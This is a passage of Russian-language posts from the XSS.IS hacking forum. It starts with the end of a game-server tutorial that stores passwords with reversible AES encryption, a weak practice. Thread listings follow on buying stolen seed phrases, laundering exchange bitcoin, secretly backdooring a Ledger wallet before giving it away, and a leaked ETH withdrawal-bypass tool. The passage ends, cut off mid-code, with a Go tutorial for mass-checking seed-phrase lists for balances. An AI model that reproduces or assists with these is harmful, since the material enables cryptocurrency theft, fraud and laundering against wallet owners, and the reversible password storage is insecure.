2 строка: cipher.encrypt — это вызов объекта с параметрами для шифрования и само шифрование. pad — это добавление байтов к нешифрованному паролю, чтобы он состоял из блоков данных, каждый из которых равен 16 байтам; это можно назвать выравниванием пароля. data.encode() — это преобразование полученных данных из переменной в байты. AES.block_size обеспечивает правильное дополнение нешифрованного пароля, чтобы все блоки были по 16 байт.

3 строка: base64.b64encode — это конвертация в формат base64. cipher.iv — это вектор инициализации, который будет конвертирован. decode('utf-8') конвертирует байтовую строку в обычную.

4 строка: Аналогично третьей строке, в этой строке происходит конвертация уже самих зашифрованных данных.

Функция расшифровки​

Теперь потребуется функция для расшифровки, которая будет принимать два аргумента: IV и зашифрованные данные.

Python:Copy to clipboard

def decrypt(iv, encrypted_data):
   iv = base64.b64decode(iv)
   ct = base64.b64decode(encrypted_data)
   cipher = AES.new(KEY_PASSWORD, AES.MODE_CBC, iv)
   pt = unpad(cipher.decrypt(ct), AES.block_size)
   return pt.decode()

1 и 2 строка: IV и зашифрованные данные декодируются из base64 обратно в их исходный вид.

3 строка: Создаётся объект шифрования с ключом расшифровки (KEY_PASSWORD), режимом шифрования (AES.MODE_CBC) и IV.

4 строка: Расшифровка ct (зашифрованные данные). unpad(..., AES.block_size) означает удаление лишних байтов, которые были добавлены для выравнивания блоков при шифровании данных, чтобы каждый блок был ровно по 16 байтов.

5 строка: Возвращает расшифрованные данные и переводит их из байтов в строку.

Написание веб части​

Теперь можно приступить к созданию страницы регистрации и авторизации. HTML- файл был подготовлен ранее и называется registration.html. В нём нужно будет создать форму с полями ввода и кнопкой для отправки данных. Так как при создании HTML-файла через PyCharm заготовка страницы создаётся автоматически, в файле сразу будет этот код:

HTML:Copy to clipboard

<!DOCTYPE html>
<html lang="en">
<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title>Registration</title>
</head>
<body>


</body>
</html>

Первым делом будет реализована форма для регистрации, использующая метод POST. Это означает, что данные из формы будут отправляться POST-запросом в функцию, которая будет обрабатывать полученные данные. В данном случае такой функцией является register_user.

P.S. При нажатии на кнопку с типом submit данные из формы отправляются на адрес register_user.

HTML:Copy to clipboard

<form method="POST" action="{{ url_for('register_user') }}">
   <label>Логин:</label>
   <input type="text" name="username" required>
   <br>
   <label>Пароль:</label>
   <input type="password" name="password" required>
   <br>
   <input type="submit" value="Зарегистрироваться">
</form>

Точно так же нужно реализовать отправку данных для авторизации. Для этого нужно создать форму с полями ввода, но отправка будет происходить в функцию login_user.

HTML:Copy to clipboard

<form method="POST" action="{{ url_for('login_user') }}">
   <label>Логин:</label>
   <input type="text" name="username" required>
   <br>
   <label>Пароль:</label>
   <input type="password" name="password" required>
   <br>
   <input type="submit" value="Войти">
</form>

Также на страницу будут выводиться сообщения с Python-части сервера об удачных и неудачных действиях, таких как успешная расшифровка пароля, удачная регистрация и т.д.

Python:Copy to clipboard

{% with messages = get_flashed_messages() %}
   {% if messages %}
       <ul>
           {% for message in messages %}
               <li>{{ message }}</li>
           {% endfor %}
       </ul>
   {% endif %}
{% endwith %}

В данном коде вызывается функция get_flashed_messages() для получения flash- сообщений, хранящихся в хранилище сообщений, и результат вызова записывается в переменную messages. После этого идёт условие if, которое срабатывает, если в переменной messages есть сообщения, и выводит их на странице. Внутри if вызывается цикл for, в котором перебираются все сообщения из переменной messages и вставляются в переменную message. Затем выводится значение из переменной message прямо на страницу.

Также нужно подготовить страницу профиля. В данный момент она будет представлять собой пустую страницу с выводом приветственного текста. Файл данной страницы был также ранее заготовлен и называется profile.html.

HTML:Copy to clipboard

<!DOCTYPE html>
<html lang="en">
<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title>Profile</title>
</head>
<body>
   <h2>Добро пожаловать на страницу профиля!</h2>
</body>
</html>

Python функции​

Теперь нужно реализовать две функции. Одна будет предназначена для обработки данных из формы регистрации, а вторая — для обработки данных из формы авторизации.

Регистрация​

Первой на очереди будет функция регистрации. Первое, что нужно в ней сделать, это принять данные из формы и назначить полученные данные переменным.

Python:Copy to clipboard

@app.route('/register_user', methods=['POST'])
def register_user():
   username = request.form['username']
   password = request.form['password']

Далее нужно проверить полученный логин на совпадение в базе данных. Если такой логин уже присутствует, необходимо вывести уведомление об этом на веб-странице (ранее в файле registration.html был написан код для отображения подобных уведомлений). После вывода уведомления происходит редирект на страницу регистрации.

Python:Copy to clipboard

existing_user = User.query.filter_by(username=username).first()
if existing_user:
   flash('Аккаунт с таким логином уже существует. Попробуйте другой логин.')
   return redirect(url_for('registration'))

P.S. flash — это функция во Flask, которая сохраняет сообщение в специальном хранилище для сообщений внутри сессии. После отображения сообщения оно удаляется из хранилища.

Далее, если логин в базе данных не обнаружен, следует использовать этот код:

Python:Copy to clipboard

iv, encrypted_password = encrypt(password)
new_user = User(username=username, password=f'{iv}:{encrypted_password}')
db.session.add(new_user)
db.session.commit()
return redirect(url_for('profile'))

1 строка: Функция encrypt принимает пароль, полученный с веб-страницы, и возвращает значения iv и зашифрованный пароль. Эти значения сохраняются в переменные iv и encrypted_password.

2 и 3 строка: Добавление в базу данных полученного с веб-страницы логина и запись в столбец password значения iv и зашифрованного пароля, разделённых двоеточием, полученных из функции шифрования.

4 строка: Сохранение всех изменений в базе данных.

5 строка: После сохранения данных в базе данных происходит редирект на страницу profile.

Авторизация​

Теперь будет показана реализация функции авторизации. Первое, что нужно сделать, это также добавить переменные, в которые будут записываться логин и пароль из формы веб-страницы, а также провести проверку на наличие введённого логина в базе данных.

Python:Copy to clipboard

@app.route('/login_user', methods=['POST'])
def login_user():
   username = request.form['username']
   password = request.form['password']


   user = User.query.filter_by(username=username).first()

Далее идет условие if: если логин найден, происходит расшифровка пароля из базы данных.

P.S. Возможно, у кого-то возникнет вопрос, почему бы не зашифровать полученный пароль и сравнить их в зашифрованном виде. Это невозможно, потому что при написании функции шифрования был использован метод, который выдаёт каждый раз разный результат при шифровании для большей защиты данных.

Python:Copy to clipboard

if user:
   iv, encrypted_password = user.password.split(':', 1)
   try:
       decrypted_password = decrypt(iv, encrypted_password)
   except (ValueError, KeyError) as e:
       flash('Ошибка при проверке пароля. Попробуйте снова.')
       return redirect(url_for('registration'))

2 строка: Разделение зашифрованного пароля на IV и зашифрованный пароль. ':' означает, что строка будет разделена по этому символу, 1 означает, что строка будет разделена один раз. Это гарантирует, что из строки получится два объекта: iv и пароль.

4 строка: Вызывается функция decrypt, в которую передаются два значения: iv и зашифрованный пароль. Функция расшифровки возвращает расшифрованный пароль, который записывается в переменную decrypted_password.

6 строка: Вывод сообщения на веб-страницу с использованием flash, если пароль не удалось расшифровать.

7 строка: Если пароль не подошел, происходит редирект на страницу регистрации.

Далее идет код с условием: если расшифрованный пароль из базы данных совпадает с паролем, полученным с веб-страницы, то происходит редирект на страницу профиля. На этом функция авторизации завершена.

Python:Copy to clipboard

 if decrypted_password == password:
       return redirect(url_for('profile'))
   else:
       flash('Неверный пароль. Попробуйте снова.')
else:
   flash('Пользователь с таким логином не найден.')

Теперь можно указать, что будет запускаться при запуске программы, а именно: создание базы данных в контексте приложения во Flask (app — это инициализированный объект Flask, app.app_context() — это контекст приложения). Также в самом конце запускается сам Flask с флагом debug, благодаря которому как минимум выводятся подробные ошибки.

Python:Copy to clipboard

if __name__ == '__main__':
   with app.app_context():
       db.create_all()
   app.run(debug=True)

Ограничение входа на страницу профиля без аккаунта​

Теперь регистрация и авторизация готовы. Однако от страницы профиля мало толку, так как перейти на неё можно без прохождения регистрации или авторизации. Чтобы это исправить, нужно найти функцию регистрации и в ней найти строку:

Python:Copy to clipboard

db.session.commit()

После этой строки нужно добавить маркер того, что авторизация прошла успешно (маркер сохраняется в сессии Flask. В куки браузера записывается идентификатор сессии, который связывается с сервером. Сервер использует этот идентификатор для получения данных из сессии, таких как этот маркер авторизации).

Python:Copy to clipboard

session['logged_in'] = True

Далее нужно найти функцию авторизации и в ней проверить совпадение пароля из базы данных с паролем из формы веб-страницы.

Python:Copy to clipboard

if decrypted_password == password:

После этой строки нужно также установить маркер авторизации.

Python:Copy to clipboard

session['logged_in'] = True

Теперь нужно найти функцию, которая определяет маршрут на страницу профиля, и добавить в неё условие проверки: если маркер отсутствует или равен False, перенаправлять на страницу авторизации.

Python:Copy to clipboard

@app.route('/profile')
def profile():
   if not session.get('logged_in'):
       return redirect(url_for('registration'))
   return render_template('profile.html')

P.S. В условии не нужно указывать что-то типа == False, так как если ключ отсутствует или его значение равно False, значение маркера в любом случае будет отрицательным. Поэтому not подходит под оба варианта. После этих изменений на страницу профиля можно попасть только если пользователь успешно прошел регистрацию или авторизацию.

На данный момент всё закончено, и можно перейти к проекту игры на UE.

Создание меню авторизации в игровом движке​

1725195135983.png
Показывать как создать верстку интерфейса я не буду и сразу покажу как настроить отправку запросов на Python сервер.

Логика взаимодействия игры с Python сервером​

Теперь нужно начать разрабатывать логику подключения к серверу регистрации. Для этого нужно скачать плагин VaRest в магазине Epic Games. Затем включите его в игровом проекте.
1725195167143.png
1725195183497.png

Теперь нужно открыть виджет с интерфейсом и установить у всех кнопок и полей параметр, что объект является переменной.
1725195209650.png

Далее нужно выбрать кнопку авторизации и создать событие клика.
1725195235885.png

После этого нужно перейти в Event Graph виджета и там вызвать VaRest Subsystem. Затем вызвать Construct JSON Object и подключить его к On Clicked кнопки авторизации.
1725195257826.png

Затем нужно вызвать две функции Set String Field, в которых указать имена login и password.
P.S. Функция Set String Field создаёт JSON-объект с названием, указанным в Field Name.
1725195282768.png

После этого нужно получить значения из полей ввода, используя Get Text (Text Box). Затем подключите каждый Get Text (Text Box) к соответствующему Set String Field.
1725195303130.png

При желании можно добавить вывод получившегося JSON в игре.
1725195324112.png
1725195336894.png
Получается, что теперь считываются данные из полей ввода, и при нажатии на кнопку авторизации создаётся JSON с двумя объектами. Этот JSON выводится в игре в виде текста.

Принятие запросов на Python сервере​

Теперь можно начать делать отправку и обработку JSON на сервере. Для этого нужно перейти в Python-сервер и создать новую функцию, которая будет принимать JSON, извлекать данные из объекта login и password, а затем сверять пароль с паролем из базы данных, аналогично функции, написанной для авторизации.

Python:Copy to clipboard

@app.route('/api/login', methods=['POST'])
def api_login():
   data = request.get_json()
   username = data.get('login')
   password = data.get('password')


   user = User.query.filter_by(username=username).first()


   if user:
       iv, encrypted_password = user.password.split(':', 1)
       try:
           decrypted_password = decrypt(iv, encrypted_password)
           if decrypted_password == password:
               return jsonify({"status": 0}), 200  # Пароль расшифрован и он сходится с паролем из базы данных
           else:
               return jsonify({"status": 1}), 401  # Неверный пароль
       except (ValueError, KeyError):
           return jsonify({"status": 2}), 401  # Не удалось расшифровать пароль
   else:
       return jsonify({"status": 3}), 404  # Пользователь не найден

При обработке пароля сервер будет возвращать игре JSON с объектом status, содержащим цифровое значение. Это необходимо для того, чтобы игра могла интерпретировать различные статусы и понимать, что произошло, так как использование true/false не подходит из-за множественной вариации ответов. Это последнее изменение на Python-сервере.

Отправка запросов на Python сервер и обработка ответа​

Теперь нужно зайти в движок UE5 и перейти в файл с виджетом меню авторизации в Event Graph, а затем вызвать функцию отправки запросов.
1725195402289.png
В URL нужно указать ссылку на сервер и /api/login (именно туда, потому что такой путь был указан в самом верху функции). Далее нужно из callback создать новый кастомный ивент с названием CALLBACK, из него вытянуть Get Response Object, который будет брать данные из JSON, и из этого объекта вытащить Get Field, чтобы извлечь из JSON объект с названием status.
1725195420755.png

Затем нужно вытянуть As Number из Get Field, чтобы конвертировать значение из объекта status в float. После этого float значение нужно перевести в целое число, используя Truncate.
1725195439873.png

Теперь из Truncate нужно вытянуть Switch on Int и добавить в нём контакты.
1725195466997.png
Получается так, что если полученное значение из объекта status равно 0, то выполняется определённое действие; если 1, то выполняется другое действие и т.д.

Теперь к контактам нужно подключить то, что будет выполняться при определённом значении из объекта status. Для этого можно создать 4 кастомных ивента для 4 статусов. Статус 0 — это успешная авторизация, остальные статусы сообщают об ошибках.
1725195487113.png
1725195507336.png

К ивентам для статусов с ошибками были добавлены простые выводы Print String для отображения ошибок.
1725195536352.png

Для ивента со статусом 0 был добавлен не только вывод, но и Open Level, который будет открывать игровой сервер с картой.
1725195557130.png
Так как игровой сервер сейчас находится на локальной машине, его адрес — это 127.0.0.1, а порт можно изменить в настройках проекта, но это будет позже.

Для начала нужно все эти ивенты вызвать в Switch on Int.
1725195580191.png
Таким образом, при получении конкретного числа из объекта status в JSON будет вызываться конкретный ивент. Если это ивент, сообщающий об удаче, игрок будет переходить на игровой сервер.

Настройка dedicated server​

Теперь нужно рассмотреть настройки выделенного сервера. Для этого нужно выйти из виджета и зайти в дополнительные настройки на сцене, чтобы установить порт для сервера.
1725195602787.png
1725195618057.png

Далее нужно выбрать карту, которая будет запускаться при запуске сервера и при запуске клиента.
1725195639951.png
1725195653984.png
В данном случае для запуска клиента используется карта с меню, а для сервера используется карта TestMap, то есть игровая карта, где находятся спавны игроков и т.д. В дальнейшем на её месте должна быть карта, которая будет основным полем для игры.

Теперь нужно всё это проверить, но через игровой движок запустить всё не получится, поэтому нужно запускать по-другому. Для этого нужно перейти в папку с игровым проектом и создать 2 .bat файла.
1725195680448.png
В .bat файле start_game нужно указать такие параметры: "Полный путь до UnrealEditor.exe" "Полный путь до .uproject файла игры" -game.

В .bat файле start_server нужно указать такие параметры: "Полный путь до UnrealEditor.exe" "Полный путь до .uproject файла игры" -server -log -port=1488.

После этого можно запустить сервер и две копии игры, и авторизоваться, введя логины и пароли, зарегистрированные на Python-сервере. Игроков успешно отправит на игровой сервер.

Вывод​

В данной статье есть упущенные моменты при разработке в движке UE5, но это связано с тем, что админ форума попросил делать статью более ориентированной на форум и давать те знания, которые могут пригодиться основному контингенту форума. Поэтому, если нужна более подробная статья, она доступна по данной ссылке:

docs.google.com

[ DevBlog#2

](https://docs.google.com/document/d/1b4epZob7LFm1TDkCzbDM15NkbgMRHyv2lj3kRFmj3sg/edit?usp=sharing)

Данная статья продолжает пошаговую инструкцию по разработке онлайн крипто-игры в стилистике MMORPG. В этой части будет показано, как реализовать сервер регистрации на Python с шифрованием паролей в базе данных. Приведённый ниже код отлично подойдёт для других проектов, таких как сайты и приложен...

![docs.google.com](/proxy.php?image=https%3A%2F%2Fssl.gstatic.com%2Fdocs%2Fdocuments%2Fimages%2Fkix- favicon-2023q4.ico&hash=01c33319c050f4bfcdc62c0a7ae2dcd6&return_error=1) docs.google.com

Если людям, читающим статью, действительно интересно, как сделать игру с блокчейном, можете отписать в комментариях. Если это будет интересно, я создам канал в Telegram, в котором буду выкладывать более подробные гайды, даже когда не смогу их показывать на форуме.

**
Сделано OverlordGameDev специально для форума XSS.IS**

Как правильно скупать сид-фразы?
ID: 67686ad7b4103b69df3796b4
Thread ID: 124254
Created: 2024-10-07T03:30:35+0000
Last Post: 2024-10-12T10:53:44+0000
Author: Zabuza
Replies: 9 Views: 1K

Хочу открыть бота по скупке сид-фраз с транзакциями в некоторых сетях.
Интересует какую логику должен иметь бот (чекер транзакций) чтобы избегать обмана от клиентов - например чтобы не продавали свои сиды с накрученными транзакциями.

Что делать с чистыми БТЦ?
ID: 67686ad7b4103b69df3796b8
Thread ID: 123848
Created: 2024-09-30T20:37:40+0000
Last Post: 2024-10-04T09:30:37+0000
Author: TarBar
Replies: 9 Views: 1K

Товарищи, такой вопрос! Допустим, есть поток чистых бтц с бирж, в эквиваленте 10-100к ЮСД в день.
Куда можно такое пристроить, какие есть варианты и какие проценты? Но чтобы получать взамен по красным меткам не более 10%(бз цп, терроризма и т.д.) или санкции
Буду рад подробным и развернутым ответам, спасибо)

Слив ETH ByPass ( Обход автовывод )
ID: 67686ad7b4103b69df3796c4
Thread ID: 114972
Created: 2024-05-20T11:12:14+0000
Last Post: 2024-09-24T02:06:28+0000
Author: mr99jm
Replies: 3 Views: 1K

Слив софта для обхода в сеть ETH
Можно вывести NFT, Token и стейкинг
Инструкция в архиве

You must have at least 1 reaction(s) to view the content.

Нужен доступ к крипто флешке Ledger (ТАЙНЫЙ)
ID: 67686ad7b4103b69df3796c7
Thread ID: 122470
Created: 2024-09-10T19:52:09+0000
Last Post: 2024-09-23T08:03:10+0000
Author: krab
Replies: 6 Views: 1K

Суть вопроса - у человека есть флешка или будет ,перед этим к примеру она будет у меня после чего я ему ее буду отдавать
Это просто делаем ситуацию

Главное - можно ли как то сделать так.чтобы я мог тайно иметь доступ с помощью 24 х слов
Возможно сделать какие-то махинации перед тем как я отдам ее человеку

Возможно кто-то делал или подскажет варианты
Спасибо все за ранее

Случайно потратил 3bnb на контракт как вернуть ?
ID: 67686ad7b4103b69df3796c8
Thread ID: 117738
Created: 2024-06-28T07:02:39+0000
Last Post: 2024-09-21T15:36:41+0000
Author: NEMO
Replies: 11 Views: 1K

должен был выбрать 3 а выбрал 1

{
"name": "Address",
"address": "0x4b338c0789fc92e95acac4a75fd0cd27a1f5ae46",
"abi": [], --ЕГО НЕТУ
"filePath": "default_workspace/coin/contract.sol",
"pinnedAt": 1719523606493
}

ТАМ НЕ правельно показывает там 3 bnb на контракте

https://bscscan.com/tx/0xeb5fdc2e6e200245fbad6f73c41886a3f5d4d954f64b850e98df0b8dccb2f52f

[?]Холодный криптокошелек связанный с биржей
ID: 67686ad7b4103b69df3796cb
Thread ID: 104957
Created: 2024-01-01T21:08:53+0000
Last Post: 2024-09-18T10:34:14+0000
Author: lisa99
Replies: 7 Views: 1K

Вопрос знатокам.
Есть ли такой холодный кошелек (сервис, который за ним стоит) для длительного хранения, который как бы эмулировал лимитные ордера в лонг ?
Уведомляя холдера, что сработал порог продажи актива.
Дальше ручной апрув и пошла продажа на бирже и пополнение счета - видимо через API.

То есть кош хотелось бы иметь холодный, без доступа к сети, а возможность продать токен так, как будто он закачан на биржу.
Естественно это изредка.

Для тех, кто не хочет заливать деньги ни на биржу, ни в стейкинг, пулы и пр.

Невалидные seed-ы для эксперимента
ID: 67686ad7b4103b69df3796d2
Thread ID: 120636
Created: 2024-08-12T15:02:07+0000
Last Post: 2024-09-14T02:23:02+0000
Author: lisa99
Replies: 3 Views: 1K

Сабж =)
Поделитесь, пожалуйста, небольшим количеством кому не жалко, и которых не жалко.
Пусть они уже были прочеканы много раз всеми приватными софтами.
Желательно полупаблик =)
Мой АП - 90 млн, с кучей генерки.

Конечно, если что-то получится - уведомлю, распилим;)
Есть интересные, непубличные варианты чекинга.

Как замаскировать перевод? (btc)
ID: 67686ad7b4103b69df3796d5
Thread ID: 122321
Created: 2024-09-08T17:06:50+0000
Last Post: 2024-09-09T18:47:26+0000
Author: xxxadam
Replies: 6 Views: 1K

Всем привет. Будьте любезны подсказать, возникла необходимость оплатить услугу криптой, но не хочу чтобы через блокчейн виднелся исходящий адрес с которого совершалась транза. Единственный вариант который пришел в голову - обратиться в миксер, дабы создать большую цепочку переводов но, может есть и другие варианты?

Кошелек с Hydra
ID: 67686ad7b4103b69df3796d6
Thread ID: 121558
Created: 2024-08-27T16:50:23+0000
Last Post: 2024-09-08T08:03:48+0000
Author: Samplayer
Replies: 10 Views: 1K

Здравствуйте. Подскажите пожалуйста, реально ли как восстановить доступ к кошельку всеми забытой Hydra? Был магазин там, соответственно осталась приличная сумма. Буду рад помощи. Монеткой если что не обижу и если все-таки есть знатоки, готовые помочь отрыть забытое, то хотел бы обсудить в лс

Need list of TRX addresses with balance
ID: 67686ad7b4103b69df3796d8
Thread ID: 116686
Created: 2024-06-12T17:38:34+0000
Last Post: 2024-09-07T13:04:54+0000
Author: Seer
Replies: 4 Views: 1K

Does someone have a list of TRX addresses with balance ?

Брут монет
ID: 67686ad7b4103b69df3796e2
Thread ID: 121249
Created: 2024-08-22T15:46:36+0000
Last Post: 2024-08-26T09:22:54+0000
Author: TvoirDrugFrank
Replies: 6 Views: 1K

Всем нихау! Наткнулся недавно на тему брученных монет. Типо снятие по коду с забытых кошельков. Может кто подскажет знающий, очередной скам или реал на этом можно монет поднять? Пы.сы в теме я полный ноль пока что, не закидайте какахами🥹

Чекер Seed-фраз на Golang
ID: 67686ad7b4103b69df3796e5
Thread ID: 121158
Created: 2024-08-21T10:39:58+0000
Last Post: 2024-08-22T11:16:03+0000
Author: miserylord
Prefix: Статья
Replies: 2 Views: 1K

_Автор:miserylord
Эксклюзивно для форума: _xss.is

Здравствуй, герои криптовалютного фронта!

Статья посвящена созданию программы для массовой проверки мнемонических фраз криптовалютных кошельков с использованием Golang в нескольких блокчейнах. Это проще, чем кажется! В первой части статьи мы разберем теоретические основы, а во второй займемся практической реализацией программы.

Исходный код программы доступен в виде архива, прикрепленного к этому сообщению, и может быть расширен для добавления поддержки большего числа блокчейнов.

Разделы

Spoiler: Экскурс в тему

Мнемоническая фраза

Seed-фраза — это человекочитаемая версия очень длинного и случайного числа, которая используется для создания и восстановления криптовалютного кошелька. Слова мнемонической фразы формируют мастер-ключ, который затем используется для генерации всех приватных ключей кошелька. Приватные ключи, в свою очередь, контролируют доступ к криптовалютным активам.

Когда вы создаете новый криптовалютный кошелек, он формирует сид-фразу. В основе всего лежит генерация случайных данных, или энтропии. Полученная энтропия разбивается на равные части, и каждой части сопоставляется определенное слово из заранее определенного словаря. Этот список слов стандартизирован, чтобы обеспечить совместимость между различными кошельками. Например, в рамках стандарта BIP-39 (Bitcoin Improvement Proposal 39) используется список из 2048 слов.

Seed-фраза является основой управления криптовалютным кошельком. Это буквально ключ доступа к активам!

Мнемонические фразы появились не сразу с выходом Биткоина, а лишь спустя несколько лет. Многие ранние криптовалютные кошельки сохраняли приватные ключи в виде файлов на локальных устройствах, однако это было неудобно. Seed-фразы значительно упрощают восстановление кошелька: достаточно запомнить всего несколько слов, а не случайную последовательность байт.

Атака методом перебора комбинаций (брутфорс)

Предположим: у нас есть словарь из 2048 слов. Количество комбинаций: 2048^12. Это огромное число, которое выражается в 37-значном десятичном числе.

Для сравнения: количество атомов во всей видимой Вселенной оценивается примерно в 10^80. Таким образом, вероятность случайно угадать сид-фразу из 12 слов сравнима с вероятностью найти конкретный атом среди всех атомов Вселенной.

Чем длиннее сид-фраза, тем больше возможных комбинаций и тем сложнее её взломать. Больший словарь также увеличивает количество возможных комбинаций.

Даже при использовании самых мощных суперкомпьютеров для перебора всех возможных комбинаций потребуется астрономическое количество времени. Такие вычисления потребуют огромных вычислительных ресурсов, что делает их экономически нецелесообразными.

Говорят о квантовых компьютерах, которые представляют собой захватывающую область. На данный момент их воздействие на безопасность криптографических систем и атаки методом брутфорс остаётся ограниченным, хотя внимание к этой теме важно.

Математически, вероятность случайного подбора сид-фразы стремится к нулю.

Слабое место — не в математике, а в человеческом факторе: фишинг, неправильное хранение и мальвари.

Блокчейн

Представьте себе книгу, которую нельзя подделать. Каждая страница этой книги — это блок данных, содержащий информацию о транзакциях. Блоки связаны между собой, образуя цепочку. И вот эта цепочка, которую невозможно разорвать или изменить, называется блокчейном.

Blockchain Demo - подробнее о блокчейне.

Концепция блокчейна одинакова, но разные блокчейны могут существенно отличаться друг от друга: механизм консенсуса (Proof of Work (PoW), Proof of Stake (PoS) или другой), масштабируемость, смарт-контракты, цель создания.

Суть в том, что блокчейн не один. В рамках кода я возьму несколько популярных — Ethereum и Bitcoin.

Теперь переходим к написанию кода!

Spoiler: Код

Bitcoin

Самый старый блокчейн - блокчейн сети Биткоин.

Инициализируем проект. В первую очередь реализуем пакет с дополнительными функциями в папке utils, в файле utils.go:

C-like:Copy to clipboard

package utils

import (
    "bufio"
    "fmt"
    "os"
    "strings"

   
    "github.com/tyler-smith/go-bip32"
    "github.com/tyler-smith/go-bip39"
)

// 1
type BTCResult struct {
    Address string  `json:"address"`
    Balance float64 `json:"balance"`
}

// 2
type Result struct {
    Mnemonic   string  `json:"mnemonic"`
    BTCAddress string  `json:"btc_address"`
    BTCCoins   float64 `json:"btc_coins"`
}

// 3
func ReadLines(file *os.File) ([]string, error) {
    var lines []string
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        line := strings.TrimSpace(scanner.Text())
        if line != "" {
            lines = append(lines, line)
        }
    }
    if err := scanner.Err(); err != nil {
        return nil, fmt.Errorf("ошибка чтения файла: %v", err)
    }
    return lines, nil
}

// 4
func SaveResults(results []Result) error {
    file, err := os.Create("results.txt")
    if err != nil {
        return fmt.Errorf("ошибка создания файла результатов: %v", err)
    }
    defer file.Close()

    for _, result := range results {
        line := fmt.Sprintf("Mnemonic: %s\nBTC Address: %s\nBTC Balance: %.8f\n",
            result.Mnemonic,
            result.BTCAddress,
            result.BTCCoins,
        )
        _, err := file.WriteString(line)
        if err != nil {
            return fmt.Errorf("ошибка записи результатов в файл: %v", err)
        }
    }

    return nil
}

// 5
func IsMnemonicValid(mnemonic string) bool {
    return bip39.IsMnemonicValid(mnemonic)
}

// 6
func NewSeed(mnemonic string) []byte {
    return bip39.NewSeed(mnemonic, "")
}

// 7
func NewMasterKey(seed []byte) (*bip32.Key, error) {
    return bip32.NewMasterKey(seed)
  1. Эта структура хранит результат для одного BTC адреса, включая адрес и баланс.
  2. Эта структура используется для хранения результатов, включающих мнемоническую фразу, BTC адрес и количество BTC.
  3. Функция для построчного чтения файла, которая будет использоваться для чтения файла с сид-фразами.
  4. Функция, которая создает (или перезаписывает) файл results.txt и записывает в него результаты после проверки.
  5. Проверяет, является ли строка валидной мнемонической фразой с использованием BIP39. Не каждая из 12 слов является валидной фразой (даже если все слова из 2048 слов словаря, существует хитрость в порядке их расположения).
  6. Генерирует сид из мнемонической фразы. Параметр "" указывает, что не используется пароль для усиления сида.
  7. Создает новый мастер-ключ из предоставленного сида. Возвращает указатель на ключ и ошибку, если таковая возникает.

BIP32 — это стандарт, который описывает, как создавать и управлять иерархическими детерминированными кошельками. BIP39 — это стандарт, который описывает использование мнемонических фраз для генерации ключей. В коде я не использую механизм мьютексов во время записи в файл, поскольку запись происходит после проверки всех сидов. Более подробно о конкуренции можно почитать в статье про брутфорс почтовых сервисов.

Далее напишем основной код в файле main.go:

C-like:Copy to clipboard

    package main
   
    import (
     "fmt"
     "log"
     "os"
     "sync"
   
   
   
    "se/btc"
    "se/utils"
   
    )
    // 1
    const (
     seedFilePath = "seeds.txt"
     outputFilePath = "results.txt"
     workersCount = 10
    )
   
    func main() {
   
    // 2
    seedFile, err := os.Open(seedFilePath)
    if err != nil {
        log.Fatalf("Ошибка открытия файла сид-фраз: %v", err)
    }
    defer seedFile.Close()
   
    // 3
    seeds, err := utils.ReadLines(seedFile)
    if err != nil {
        log.Fatalf("Ошибка чтения файла сид-фраз: %v", err)
    }
   
    // 4
    var wg sync.WaitGroup
    resultChan := make(chan utils.Result, len(seeds))
   
    // 5
    sem := make(chan struct{}, workersCount)
   
    // 6
    for _, mnemonic := range seeds {
        wg.Add(1)
        go func(mnemonic string) {
            defer wg.Done()
            sem <- struct{}{}
            defer func() { <-sem }()
   
            if !utils.IsMnemonicValid(mnemonic) {
                fmt.Printf("Некорректная сид-фраза: %s\n", mnemonic)
                return
            }
   
            seed := utils.NewSeed(mnemonic)
            masterKey, err := utils.NewMasterKey(seed)
            if err != nil {
                log.Printf("Ошибка создания мастер-ключа: %v\n", err)
                return
            }
   
            btcResult, err := btc.Process(masterKey)
            if err != nil {
                log.Printf("Ошибка обработки Bitcoin: %v\n", err)
                return
            }
   
            result := utils.Result{
                Mnemonic:   mnemonic,
                BTCAddress: btcResult.Address,
                BTCCoins:   btcResult.Balance,
            }
   
            resultChan <- result
        }(mnemonic)
    }
   
    // 7
    wg.Wait()
    close(resultChan)
   
    // 8
    results := []utils.Result{}
    for result := range resultChan {
        results = append(results, result)
    }
   
    // 9
    if err := utils.SaveResults(results); err != nil {
        log.Fatalf("Ошибка сохранения результатов: %v", err)
    }
    }
  1. Определяем константы, которые содержат путь к файлу с сид-фразами, путь для сохранения результатов и количество горутин, которые будут одновременно обрабатывать сид-фразы.
  2. Открываем файл с сид-фразами.
  3. Читаем все строки из файла seeds.txt и возвращаем их в виде среза строк.
  4. Инициализация синхронизации и каналов: WaitGroup для ожидания завершения всех горутин, канал для передачи результатов обработки из горутин в основную функцию с размером буфера, равным количеству сид-фраз.
  5. Буферизированный канал, выступающий в роли семафора. Он ограничивает количество одновременно работающих горутин до значения workersCount (в данном случае 10).
  6. Конкурентная обработка сид-фраз: увеличиваем счётчик WaitGroup, запускаем анонимную функцию в отдельной горутине, отправляем пустую строку в семафор, блокируя горутину, если уже запущено 10 других. defer освобождает семафор. Проверяем валидность сид-фразы, генерируем приватный ключ, затем создаём мастер-ключ. Далее обрабатываем мастер-ключ для получения Bitcoin-адреса и баланса (эту функцию реализуем ниже). В конце отправляем результат обработки в канал resultChan.
  7. Ожидание завершения всех горутин и закрытие канала.
  8. Чтение результатов из канала resultChan и добавление их в срез results.
  9. Сохранение результатов в файл.

Создадим папку btc с одноимённым файлом/пакетом для реализации функций проверки сид-фразы:

C-like:Copy to clipboard

package btc

import (
    "encoding/json"
    "fmt"
    "math/rand"
    "net/http"
    "strconv"
    "time"

    "se/utils"

    // 1
    "github.com/btcsuite/btcd/btcec/v2"
    "github.com/btcsuite/btcd/btcutil"
    "github.com/btcsuite/btcd/chaincfg"

    "github.com/tyler-smith/go-bip32"
)

// 2
type BalanceResponse struct {
    Address       string `json:"address"`
    TotalReceived int64  `json:"total_received"`
    TotalSent     int64  `json:"total_sent"`
    Balance       int64  `json:"balance"`
    Unconfirmed   int64  `json:"unconfirmed_balance"`
}

// 3
func Process(masterKey *bip32.Key) (utils.BTCResult, error) {
    var result utils.BTCResult

    // 4
    path := []uint32{
        44 + bip32.FirstHardenedChild,
        0 + bip32.FirstHardenedChild,
        0 + bip32.FirstHardenedChild,
        0,
        0,
    }

    // 5
    childKey := masterKey
    for _, i := range path {
        var err error
        childKey, err = childKey.NewChildKey(i)
        if err != nil {
            return result, fmt.Errorf("Ошибка создания дочернего ключа: %v", err)
